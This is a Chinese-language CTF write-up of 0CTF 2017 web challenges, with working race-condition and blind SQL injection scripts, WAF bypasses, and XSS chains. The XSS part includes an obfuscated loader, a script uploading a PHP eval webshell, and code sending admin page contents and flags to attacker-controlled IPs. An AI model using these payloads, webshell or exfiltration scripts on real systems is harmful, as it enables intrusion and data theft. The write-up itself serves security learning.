0CTF 2017 Web Write-up

CTF

Posted by Xiaoxi on March 21, 2017

0CTF

Temmo’s Tiny Shop

这是一个小型的购物网站,然后官方的解法应该是先刷钱(竞争?)买一个Hint,然后得到flag所在的表,再对order by后面数据进行盲注,得到flag。

对于竞争,我们几个人尝试了N种竞争方式,还是没竞争出来十分迷。(尝试的有,BUY和SALE相互竞争。多个PHPSESSION相互竞争都不行orz)

其中一个脚本

#!/usr/bin/env python
# coding:utf-8
import requests
import time
import threading

#拼接url
host = "http://202.120.7.197"
url1 = host + "/app.php?action=buy&id=6"
url2 = host + "/app.php?action=sale&id=6"

headers1 = {'Cookie' : 'PHPSESSID=7i10kv9ntqokeuta27hrkh4532'}
headers1 = {'Cookie' : 'PHPSESSID=7i10kv9ntqokeuta27hrkh4533'}
# s = requests.get(url1,headers=headers)
# #打印返回结果
# print(s)
# print(s.status_code,s.text)

def buy():
	try:
		while True:
			print requests.get(url1,headers=headers).content
	except:
		pass

def sale():
	try:
		while True:
			print requests.get(url2,headers=headers).content
	except:
		pass



while 1:
	threading.Thread(target=buy).start()
	threading.Thread(target=sale).start()



后来,尝试admin 空登陆,就能发现很多钱。迷

买到HINT,

OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`

接下来的思路就很明显了,就是在oder那边有一个注入,很多东西都被WAF了,而且没有回显,不可能报错注入,只能盲注。

fuzz一波

过滤:

' or and 空格 union sleep || %0a binary /**/ <> = extractvalue floor updatexml

()一起的时候就会过滤

可用:

(xxx) , select as procedure limit asc desc distinct having like (sqlattempt2) & mid substr ascii exists from if

可以用(name)绕过空格

测试一波:

http://202.120.7.197/app.php?action=search&keyword=C&order=(price)desc

http://202.120.7.197/app.php?action=search&keyword=C&order=(price)asc

两者出来的顺序不同,很显然是一个order by后面的注入。

202.120.7.197/app.php?action=search&keyword=&order=(1)
{"status":"suc","goods":[{"id":"1","name":"Frostmourn","price":"4000","number":0},{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"3","name":"!HINT!","price":"8000","number":3},{"id":"4","name":"Backsword","price":"2800","number":2},{"id":"5","name":"Brownie","price":"2200","number":2},{"id":"6","name":"Ice Cream","price":"300","number":2}]}
202.120.7.197/app.php?action=search&keyword=&order=(0)
{"status":"fail","msg":"error occurs or no result here."}
http://202.120.7.197/app.php?action=search&keyword=C&order=if(BOOL,name,price)
打算基于这个进行盲注(因为每一个数据是唯一的,所以name,if(true,price,name)这种二次排序就不行
202.120.7.197/app.php?action=search&keyword=&order=(if(1,name,price))
{"status":"suc","goods":[{"id":"3","name":"!HINT!","price":"8000","number":3},{"id":"4","name":"Backsword","price":"2800","number":2},{"id":"5","name":"Brownie","price":"2200","number":2},{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"1","name":"Frostmourn","price":"4000","number":0},{"id":"6","name":"Ice Cream","price":"300","number":2}]}
202.120.7.197/app.php?action=search&keyword=&order=(if(0,name,price))
{"status":"suc","goods":[{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"5","name":"Brownie","price":"2200","number":2},{"id":"4","name":"Backsword","price":"2800","number":2},{"id":"6","name":"Ice Cream","price":"300","number":2},{"id":"1","name":"Frostmourn","price":"4000","number":0},{"id":"3","name":"!HINT!","price":"8000","number":3}]}

这样,我们就可以把注入点放在bool那边

202.120.7.197/app.php?action=search&keyword=&order=(if((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),name,price))
正常返回,说明flag确实存在这个表内
202.120.7.197/app.php?action=search&keyword=&order=(if(
substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)  
),name,price))
202.120.7.197/app.php?action=search&keyword=&order=(if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)),name,price))

切记在测试的时候一定要把&编码!!!坑了好久

202.120.7.197/app.php?action=search&keyword=&order=(if((ascii((substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)))%261),name,price))

前者为1的时候,content[32]==’3’

前者为0的时候,content[32]==’2’

#!usr/bin/env python
# -*- coding:utf-8 -*-

import requests

session = requests.session()
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36","Referer":"http://202.120.7.197/","Connection":"close","Accept-Encoding":"gzip, deflate, sdch","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4,en-GB;q=0.2"}
cookies = {"PHPSESSID":"r18k5gc0mvu94urgd04k8hgbl7"}

url = "http://202.120.7.197/app.php"
payload="if((ascii((substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{index},1)))&{bit}),name,price)"

list=[1,2,4,8,16,32,64]#一般不用考虑最高位为1,就只需要7位
result = 0
flag=""
for i in xrange(1,32):
    for bit in list:
        paramsGet={"action":"search","keyword":"",
                   "order":payload.format(index=str(i),bit=bit)}
        res= session.get(url,params=paramsGet,headers=headers,cookies=cookies)
        #print paramsGet
        #print res.content
        if(res.content[32]=="3"):
            result = result|bit
            #print result,bit
    print result
    flag+=chr(result)
    print flag
    result =0 #reset result


竞争

看了别人的WP,发现确实是可以竞争的。不过,这个竞争和我们考虑的不一样,我们以为是用多个马甲号的COOKIE去喂一个马甲的钱。他的意思是,通过一个账户的不同cookie去操作。先用一个cookie买一个数据,然后再通过不同的cookie卖。好神奇,好奇后台逻辑是怎么写的。

发现,这里有一个脑洞提醒。购买Brownie后会有这个提示

Brownie:Round off your meal with a salty brownie and a cup of locally roasted coffee at Baked, maybe you will get flag :p

脑洞联想到星巴克在15年爆出的session条件竞争

https://sakurity.com/blog/2015/05/21/starbucks.html

摘自:http://bobao.360.cn/news/detail/1570.html

有一类非常有趣的漏洞叫做”竞争条件”。这个bug对于带有余额、凭证或者其他有限资源(主要是金钱)的网站非常常见。

所以,把钱从card1转移到card2是这样的状态:第一个POST请求 :

POST /step1?amount=1&from=wallet1&to=wallet2

保存这些值到session中,然后进行第二个POST:

POST/step2?confirm

这步是事实上是转移了这笔钱,然后清空了session。

这使得漏洞利用非常困难,因为session在第一次确认请求中被破坏了,然后第二个请求就失败了。但是这个保护措施仍然很容易绕过:使用两个不同的浏览器(session、cookie不同)、相同的账户。

攻击的伪代码:

sh参考代码:

#!/bin/bash
username="moxiaoxi"
password="moxiaoxi"
cookie1="PHPSESSID=gseqg01fg54is7nh733lch3eu1"
cookie2="PHPSESSID=r18k5gc0mvu94urgd04k8hgbl7"
url="http://202.120.7.197/app.php"

curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &\
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"

curl "$url?action=buy&id=1" -b $cookie1

curl "$url?action=sale&id=1" -b $cookie1 &\
curl "$url?action=sale&id=1" -b $cookie2

很疑惑,这里竟然能百分百触发,然后搞不懂为啥本来的脚本没办法触发,就改写了一下脚本,进行测试。

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests

username = "moxiaoxi"
password = "moxiaoxi"

cookie1 = {"PHPSESSID":"gseqg01fg54is7nh733lch3eu1"}#PHPSESSID随意
cookie2 = {"PHPSESSID":"r18k5gc0mvu94urgd04k8hgbl7"}

url1 = "http://202.120.7.197/app.php"

paramsLogin ={"action":"login"}
data = {"username":username,"pwd":password}
paramsBuy = {"action":"buy","id":"1"}
paramsSale = {"action":"sale","id":"1"}

res = requests.post(url = url1,params = paramsLogin,data = data,cookies = cookie1)
print res.text
res = requests.post(url = url1,params = paramsLogin,data = data,cookies = cookie2)
print res.text

res = requests.get(url1,params = paramsBuy,cookies = cookie1)
print res.text
res = requests.get(url1,params = paramsSale,cookies = cookie2)
print res.text
res = requests.get(url1,params = paramsSale,cookies = cookie1 )
print res.text

发现这样还是没办法触发。。

和louys讨论了一下,发现一个坑点。。

貌似是因为requests是阻塞的,所以他得一个请求完,才能继续请求。阻塞就代表线性,没有竞争。

zuse

而curl是不阻塞的,直接发包的

louys

改写一波paylaod

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import threading

username = "moxiaoxi"
password = "moxiaoxi"

cookie1 = {"PHPSESSID":"gseqg01fg54is7nh733lch3eu1"}#PHPSESSID随意
cookie2 = {"PHPSESSID":"r18k5gc0mvu94urgd04k8hgbl7"}

url1 = "http://202.120.7.197/app.php"

paramsLogin ={"action":"login"}
data = {"username":username,"pwd":password}
paramsBuy = {"action":"buy","id":"1"}
paramsSale = {"action":"sale","id":"1"}

session1 = requests.session()
session2 = requests.session()

res = session1.post(url = url1,params = paramsLogin,data = data,cookies = cookie1)
print res.text
res = session1.post(url = url1,params = paramsLogin,data = data,cookies = cookie2)
print res.text

# res = session1.get(url1,params = paramsBuy,cookies = cookie1)
# print res.text
# res = session1.get(url1,params = paramsSale,cookies = cookie2)
# print res.text
# res = session1.get(url1,params = paramsSale,cookies = cookie1 )
# print res.text

def buy():
	res = session1.get(url1,params = paramsBuy,cookies = cookie1)
	print res.text

def sale():
	res = session1.get(url1,params = paramsSale,cookies = cookie2)
	print res.text
	res = session1.get(url1,params = paramsSale,cookies = cookie1 )
	print res.text

def main():
	while True:
		t1 = threading.Thread(target=buy)
	  	t2 = threading.Thread(target=sale)
	  	t3 = threading.Thread(target=sale)
	  	t1.start()
	  	t2.start()
	  	t3.start()

	  	t1.join()
	  	t2.join()
	  	t3.join()

if __name__ == '__main__':
	main()

测试一下,果然是阻塞的问题。通过这种方式可以弥补一下阻塞,但是触发机率没有curl高。

race

后台逻辑猜想

因为购买和卖出操作后,会破坏session。这样,对于同一个用户,同一个cookie就不能通过多线程的买卖来实现竞争了,因为session在第一次sale确认请求中被破坏,这样第二个sale请求就失败了。所以,原来的竞争没有效果。

这里采用session保存用户的状态,比如用户有多少钱和物品,用cookie作为标志符号

Login请求用于查询到用户名和钱包余额,goods请求用于查询用户有多少物品

假设login访问的是wallet数据库,goods访问的是goods数据库。

操作:

  1. 登陆:创建session,访问两个数据库,将信息保存在session中

  2. 买入:查询wallet数据库,查询goods数据库,update goods数据库,update wallet数据库

  3. 卖出:查询wallet数据库,查询goods数据库,update wallet数据库,update goods数据库

攻击流程

  1. Cookie1登录,获得钱0和物品信息1,保存在session中
  2. Cookie2登录,获得钱0和物品信息1,保存在session中
  3. Cookie1进行卖出,在cookie1用户更新wallet表后,更新goods表前,cookie2用户进行卖出。此时,cookie2看到的wallet钱已经变多,而goods数量还没减少,刷钱成功。

用正则获得数据

这是学习一个日本小哥的WP学习到的思路,颠覆了我对sql盲注的概念

https://st98.github.io/diary/posts/2017-03-20-0ctf-2017-quals.html

payload如下

import requests
import sys

def check(s):
  if 'WAF' in s:
    raise Exception('WAF~><')
  if 'login plz' in s:
    raise Exception('login plz~><')
  return 'suc' in s

url = 'http://202.120.7.197/app.php?action=search&keyword=_&order=cot(if((%s)regexp(0x%s),1,0))'

print url % (sys.argv[1], sys.argv[2].encode('hex'))
print check(requests.get(url % (sys.argv[1], sys.argv[2].encode('hex')), cookies={
  'PHPSESSID': 'xxx'
}).content)
python2 s.py "select(substr(flag,4,1))from(ce63e444b0d049e9c899c9a0336b3c59)" "[a-z]"

这样就能依次通过正则获得数据了,姿势非常优雅

rce

simplesqlin

很明显的sql注入

用%0b绕过

http://202.120.7.203/index.php?id=-1%20union%20se%0blect%201,(sel%0bect%20flag%20fr%0bom%20flag),3

还有%00也可以

KOG

最近没那么多精力,暂时不看了。后面有时间补充吧。

https://jiulongw.github.io/post/0ctf-2017-kog/

思路好像是能通过调试器得到哈希值,从而伪造,进行sql注入

sql注入没有过滤任何东西,主要就是考验chrome调试能力。

Compliacted xss

通过这个脚本爆破md5验证码

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import hashlib
i = 0
while(True):
	s = str(i)
	test = hashlib.md5(s).hexdigest()
	if test.startswith('c2d7c9'):
		print '[!]', 'found:', s,test
		break
	i+=1



这题的大体意思是:

http://government.vip/

会给我们一个可以xss的输入框,输入的东西会被后台转为html,然后admin会去访问这个页面导致XSS。

http://admin.government.vip:8000

提示需要上传shell。用burpsuite抓包,可以发现cookie中的username可以控制页面上的东西(test)

<h1>Hello test</h1>

然后,最基本的思路就是在government.vip上跨域控制一个cookie,去访问admin.government.vip:8000

我基本对xss不是很了解,做了很久很久。。

后来,louys给了一个提示,其实是可以跨域带cookie访问的。

整个思路大体是这样,iframe两个相同的但父页面不同域的网页,这两个iframe是同域,可以互相通信,访问。

这里由于两个iframe的内容是同域的,虽然和父页不同域,但是根据同源策略两个iframe相互是可以访问对方的资源的

通过这种方式,我们就能在我们的页面控制在访问第二个iframe的时候时,admin带的cookei值,从而可以触发第二个页面的xss

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
    </head>
    <body>
     <script>
    function get()
    {
        var payload = "<script src='http://106.14.61.185/files/a.js'>"+"</s"+"cript>;";//payload所在
        document.cookie="username=" + payload + " domain=.government.vip; path=/";
        document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
        //location.href = "http://admin.government.vip:8000/";
    }
    </script>
      <iframe src="http://admin.government.vip:8000" onload="get()"></iframe>
    </body>
</html>

a.js

location.href = "http://106.14.61.185:8080/date.php?xss="+escape(window.top.frames[0].document.documentElement.innerHTML)

可以打到admin页面的数据(这里打到的是第一个frame的数据)

[root@iZuf6ct8pmbo8u22rq5e5oZ ~]# nc -l 8080
GET /date.php?xss=%3Chead%3E%0A%3Ctitle%3EAdmin%20Panel%3C/title%3E%0A%3Cscript%3E%0A//sandbox%0Adelete%20window.Function%3B%0Adelete%20window.eval%3B%0Adelete%20window.alert%3B%0Adelete%20window.XMLHttpRequest%3B%0Adelete%20window.Proxy%3B%0Adelete%20window.Image%3B%0Adelete%20window.postMessage%3B%0A%3C/script%3E%0A%3C/head%3E%0A%0A%3Cbody%3E%3Ch1%3EHello%20admin%3C/h1%3E%0A%0A%0A%3Cp%3EUpload%20your%20shell%3C/p%3E%0A%3Cform%20action%3D%22/upload%22%20method%3D%22post%22%20enctype%3D%22multipart/form-data%22%3E%0A%3Cp%3E%3Cinput%20type%3D%22file%22%20name%3D%22file%22%3E%3C/p%3E%0A%3Cp%3E%3Cinput%20type%3D%22submit%22%20value%3D%22upload%22%3E%0A%3C/p%3E%3C/form%3E%0A%3C/body%3E HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://admin.government.vip:8000/
User-Agent: Mozilla/5.0 Chrome(phantomjs) for 0ctf2017 by md5_salt
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 106.14.61.185:8080

解码

<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>

<body><h1>Hello admin</h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>

然后,就进入一个深坑。。因为禁用了很多东西。。。我弱渣的JS水平,完全不会上传。

后来,网上偶然翻到一个比较相似的payload,他用了iframe的伪协议绕过了这个delete.

测试了一波

<!doctype html>
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>

<h1>Hello <iframe src='javascript:eval(alert(1))'></iframe></h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></input></p>
<p><input type="submit" value="upload">
</form>

0ctf

发现iframe的伪协议可以绕过,调用被禁用的函数。(还没搞懂为啥可以绕过,有知道的,求解答一波~)

然后,就想着通过iframe的伪协议调用一个外部的js,外部的js执行上传shell的操作。

本地测试一波

<!doctype html>
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>

<h1>Hello <iframe src='javascript:eval(String.fromCharCode(118, 97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 54, 46, 49, 52, 46, 54, 49, 46, 49, 56, 53, 47, 102, 105, 108, 101, 115, 47, 120, 115, 115, 46, 106, 115, 34, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115, 41, 59))'></iframe></h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></input></p>
<p><input type="submit" value="upload">
</form>
String.fromCharCode(118, 97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 54, 46, 49, 52, 46, 54, 49, 46, 49, 56, 53, 47, 102, 105, 108, 101, 115, 47, 120, 115, 115, 46, 106, 115, 34, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115, 41, 59)
var sss=document.createElement("script");sss.src="http://106.14.61.185/files/xss.js";document.body.appendChild(sss);

xss.js就是实现一个上传逻辑

function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://admin.government.vip:8000/upload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------32762167253918");
        xhr.withCredentials = true;
        var body = "-----------------------------32762167253918\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php eval($_GET[\'test\']);?\x3e\r\n" +
          "-----------------------------32762167253918--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);

        xhr.onload=function(e)
        {
            (new Image()).src='http://106.14.61.185:7778/index.php?'+xhr.response;
        }
        xhr.send(new Blob([aBody]));
      }
submitRequest();

testlocal

可以看到,其实上传是被执行了,但是因为不是同源所以阻塞了。上传给admin,admin调用的时候,就能正常执行

最后的payload

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
    </head>
    <body>
     <script>
    function get()
    {
        var payload = "<iframe src='javascript:eval(String.fromCharCode(118,97,114,32,115,115,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,115,115,46,115,114,99,61,34,104,116,116,112,58,47,47,49,48,54,46,49,52,46,54,49,46,49,56,53,47,102,105,108,101,115,47,120,115,115,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,115,41,59))'>"+"</i"+"frame>;";//payload所在
        document.cookie="username=" + payload + " domain=.government.vip; path=/";
        document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
        //location.href = "http://admin.government.vip:8000/";
    }
    get();
    </script>
    </body>
</html>

得到flag{xss_is_fun_2333333}

这里的坑:

因为是X在cookie里面,记得给iframe标签后面加一个分号。

伪协议绕过delete学习一波

带cookie的访问

一开始写了个php界面,上传,一直不行

XSS跨域

其他绕过方式

向iframe借用一个XMLHttpRequest来绕过delete

var frame = document.createElement('iframe');
document.body.appendChild(frame);
window.XMLHttpRequest = frame.contentWindow.XMLHttpRequest;

simpleXSS

This simulates a real world xss. It’s a simple one and took me 2-3 hours to solve this. Good luck!

https://router.vip/

Simple?????naive。。

贴近实战?蛤?

怼到了凌晨4点。。。还是没做出来,怀疑人生

这题的逻辑主要是,会有一个preview页面,我们可以用来测试我们的xss payload的执行情况,然后flag藏在https://router.vip/flag.php页面。https://router.vip/flag.php只允许admin访问。我们需要通过XSS去控制admin访问flag.php,然后再把数据弹回来。

fuzz了一波,waf简直了。。

能用的符号:

a-zA-Z ~|_^\=<-+*

因为我们没有:和.号,所以需要找思路绕过

后来,louys翻笔记翻到了一个思路:

url

也就是说,如果当下使用的是https:// 那么我们src=\\(10进制的ip)就可以绕过

Ip_change.py

import socket
import struct
import sys

ip = sys.argv[1]
#print ip
int_ip = socket.ntohl(struct.unpack('I',socket.inet_aton(ip))[0])
print int_ip

测试了一波,发现


<html>
<head>
    <meta charset="utf-8">
    <title>XSS Test Page</title>
</head>
<body>
<p>

            <script src=\\1759553882

</p>
</body>

确实可以往外发数据

script

因为我们没有.号,所以也不能引用类似104.224.169.90/a.js这种界面

然后,就考虑index.html这种特性。我们引用一个104.224.169.90的页面,它会自动补全到达index.html(这种补全和服务器的相关设置相关,你们懂得)

那么,我们现在就能往外引用数据了!

但是,后来测试发现

<script src=\\2131121

这种格式的引用,浏览器只是做了一个get请求,但是因为没有右标签??(具体原因没深入研究),它没有对里面的js进行解析执行。

然后,又测试了几个其他的标签,发现iframe真是一个神奇的标签。

我们可以通过


<html>
<head>
    <meta charset="utf-8">
    <title>XSS Test Page</title>
</head>
<body>
<p>

            <iframe src=\\1759553882

</p>
</body>

这种形式去引用一个https://ip/index.html的数据,而且它能对index.html的js进行解析执行!

接下来的思路就是,让admin触发xss,iframe加载一个页面,页面中的js执行,访问flag.php,然后再把数据打到我们的VPS中。

Index.html页面如下

<html>
<head>
</head>
<script>


/**
 * Created by moxiaoxi on 2017/3/20.
 */
function getinfo(str) {
    var node=document.createElement("script");
    node.type="text/javascript";
    node.src="http://104.224.169.90:6789/"+escape(str);
    document.getElementsByTagName("HEAD")[0].appendChild(node);
}

var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","https://router.vip/flag.php",true);
xmlhttp.onreadystatechange=function()
{
    //if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        getinfo(xmlhttp.responseText);
    }
}
xmlhttp.send();


</script>
</html>

可以看到,服务器执行了js

xss1

但,此时我们的VPS是收不到的数据的,因为发送请求被Chrome拦截下来了

Mixed Content: The page at 'https://router.vip/preview.php' was loaded over HTTPS, but requested an insecure script 'http://104.224.169.90:6789/'. This request has been blocked; the content must be served over HTTPS.

https加载src一个http的页面,它会自动拦截掉。

所以,我们把前面的http改成https即可(注:这样会导致数据乱码,当时主要想测能不能弹数据)

此时可以在我们的VPS上看到数据:

shell1

说明,现在发送数据这个功能是成功的。(其实,这里没有获取到数据,只是https协议的一些乱码数据)

但是,为什么现在没有弹出真正的flag呢,因为iframe这种方式会新建一个层,这样就不再在一个源上了。

XMLHttpRequest cannot load https://router.vip/flag.php. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://104.224.169.90' is therefore not allowed access.

chrome会报这个错。梳理一下现在的逻辑,我们在preivew页面,让其iframe引用一个html,然后执行html的里面的js,js中对https://router.vip/flag.php发送请求。但是,因为router.vip/flag.php的头没有设置跨域资源共享。我们也没办法去控制router.vip,使其增加头’Access-Control-Allow-Origin’ ‘*’;

所以,这里就gg了。。

然后,我们想到了出题人博客中,火日大佬的那种思路,两个iframe互相通信,就是前面题目的思路。

用一个iframe去触发xss,新建一个iframe,加载我们VPS的index.html.

index.html,有两个iframe,第一个iframe访问flag.php,第二个页面iframe访问preview页面,同时往preview构造一个表单触发xss,让其再iframe一个VPS的数据。。。说起来好混乱

上代码:

index.html

<html>
<head>
</head>
<body>
<iframe id='1' src='https://router.vip/flag.php'>
</iframe>

<form id="exploit" action="https://router.vip/preview.php" method="POST" target="profile">
    <input name="payload" type="hidden" value="<iframe src=\\3396350939">
</form>

<iframe id='2' name="profile" src='https://router.vip/preview.php'>
</iframe>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

然后,在另外一个VPS(3396350939)上去显示前一个iframe的数据

其实这样还是违反同源的,主要这里还是用iframe这个标签触发。。。导致,会新生成一个源和本来的不一样。

画了个草图:

origin1

整个逻辑就是这样,因为iframe会生成一个源,iframe1,iframe2之所以同源是因为他们两在同一个域。

回顾33c3的题 yolovault

题目内容参考这两个博客:

  1. http://blog.csdn.net/qq_19876131/article/details/54097284

  2. http://5alt.me/2017/01/%E5%9F%BA%E4%BA%8Ecsv%E7%9A%84%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E5%B7%B2%E6%AD%BB/

它只所以没违反同源,是因为它是加载一个js,而非iframe,看图

origin2

整个做题过程的思路,就死在这了。感觉现在只能做到访问flag.php,但是没办法把数据打出来。

感觉成也iframe,败也iframe😭

记录一下自闭合标签:

<img><br><hr><link><area/> <base/> <input /> <!-- -->

HTML5 Prefetch

本题正确的解答应该是利用chrome的预加载机制来绕过CSP

Prefetch标签学习

利用DNS预读取技术绕过CSP

Bypass unsafe-inline mode CSP

那些年我们绕过的CSP

类似这种形式:


<link rel=import href=\\qq。com

<link rel=import href=\\1759553882

至于prerender、prefetch,有看到题解说,可以。但是,我在测试的时候,效果不是很好。

记录下结果:

<link rel=import href=\\www。xx。net 好用
<link rel=prefetch href=\\www。xx。net 访问了但是收不到数据
<link rel=prerender href=\\www。xx。net 无法访问

CORS的坑

使用<link rel=import href=\\1759553882进行测试的时候,会被chrome拦截。

Access to Imported resource at 'https://104.224.169.90/' from origin 'https://router.vip' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://router.vip' is therefore not allowed access.

这是说,我们的服务器没有设定Access-Control-Allow-Origin,导致没办法访问。

资料可以参考

跨域资源共享 CORS 详解

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

我们修改本来的index.html


<html>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
<head>
</head>
<script>

/**
 * Created by moxiaoxi on 2017/3/20.
 */
function getinfo(str) {
    var node=document.createElement("script");
    node.type="text/javascript";
    node.src="http://104.224.169.90:6789/"+escape(str);
    document.getElementsByTagName("HEAD")[0].appendChild(node);
}

var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","https://router.vip/flag.php",true);
xmlhttp.onreadystatechange=function()
{
    //if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        getinfo(xmlhttp.responseText);
    }
}
xmlhttp.send();


</script>
</html>

可是这样设置了,还是没用,不知道这样为啥会失败?。。

最后,修改了nginx的配置

    location / {
    add_header 'Access-Control-Allow-Origin' '*';
	add_header 'Access-Control-Allow-Credentials' 'true';
	add_header 'Access-Control-Allow-Headers' 'Authorization,Content-	Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With';
	add_header 'Access-Control-Allow-Methods' 'GET,POST,OPTIONS';
    }

此时,可以正确加载。

cosp

HTTP的坑

这个前面讲过,在比赛期间遇到的,HTTPS src加载HTTP的问题。

(index):15 Mixed Content: The page at 'https://router.vip/preview.php' was loaded over HTTPS, but requested an insecure script 'http://104.224.169.90:6789/'. This request has been blocked; the content must be served over HTTPS.
getinfo @ (index):15
xmlhttp.onreadystatechange @ (index):24
2(index):15 Mixed Content: The page at 'https://router.vip/preview.php' was loaded over HTTPS, but requested an insecure script 'http://104.224.169.90:6789/Only%20ip%20from%20this%20host%20is%20allowed'. This request has been blocked; the content must be served over HTTPS.
getinfo @ (index):15
xmlhttp.onreadystatechange @ (index):24

chrome显示我们从https跳到了http阻拦了(实质就是https的页面src http,是不允许的,这也是前面适用 \\的一个需求,这个前面讲的思路中讲过!)。前文讲过直接改成https会导致看不到明文数据,所以只能是HTTP。

所以,修改成location.href的格式

<html>
<head>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
</head>


<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("https://router.vip/flag.php",function(data){
//alert(data);
        location.href="http://104.224.169.90:6789/"+escape(data);
});
</script>


</html>

此时,能在VPS上看到数据。

IP的坑

在看Melody博客时,发现他说10进制有一个坑。

这里有一个10进制的坑,就是当有10进制ip的时候,如果用<link rel=import href=\\1759553882这种格式,会被chrome干掉,打开 console 看到报错是 不安全的响应,当前页面是 https,而我的服务器虽然开启了 https,但是因为证书是不和 ip 绑定而是和域名绑定的,所以我需要使用域名才能绕过这个限制。

但是,我在测试的时候并没有发现这个问题。后来,与队友讨论和测试了一下,发现很神奇!!

貌似我的chrome有毒。。只有它不能拦截。在ubuntu上测试了一下,和在别人的mac上测试了一下,都会遇到这个坑。。

估计我的chrome有点逆天😂

.号的句号形式绕过

所有的主流浏览器都支持用中文句号替换域名部分的英文句号,原因是一些中文键盘更容易输入中文句号……

https://www.zhihu.com/question/45554645

在域名(包括ip格式)部分,浏览器能把。识别成.,也就是说qq。com可以识别成qq.com 192。168。1。1会是被称192.168.1.1 这样就可以绕过前面部分了。但是,这个特性在url后面就失效了。比如admin。com/flag。php 它只能转化成admin.com/flag。php

同时对于admin.com\test.com 它也会自动转换到admin.com/test.com

结果如下

源码:


<html>
<head>
    <meta charset="utf-8">
    <title>XSS Test Page</title>
</head>
<body>
<p>

            <iframe src=\\104。224。169。90\flag。php

</p>
